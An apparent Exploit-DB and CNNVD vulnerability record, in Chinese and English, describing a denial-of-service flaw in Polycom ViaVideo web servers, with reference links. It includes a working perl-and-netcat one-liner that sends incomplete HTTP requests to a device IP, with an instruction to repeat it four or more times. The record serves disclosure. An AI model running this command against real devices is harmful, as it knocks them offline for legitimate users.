https://www.exploit-db.com/exploits/21939
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200212-609

PolycomViaVideo2.2和3.0版本的web服务器存在漏洞。远程攻击者可以通过发送不完整HTTP请求和保持连接断开导致服务拒绝（CPU消耗）。

source: http://www.securityfocus.com/bid/5962/info

Polycom ViaVideo devices are prone to a denial of service condition upon receipt of numerous incomplete HTTP requests. This may restrict availability of the device for legitimate users.

The device may need to be restarted to regain normal functionality. 

perl -e 'print "GET " . "/" . " HTTP/1.1rn"' | netcat 10.1.3.54 3603 &

Issue the above command four or more times to cause the denial of service condition.

来源:BID
名称:5962
链接:http://www.securityfocus.com/bid/5962
来源:XF
名称:viavideo-inc-request-dos(10360)
链接:http://www.iss.net/security_center/static/10360.php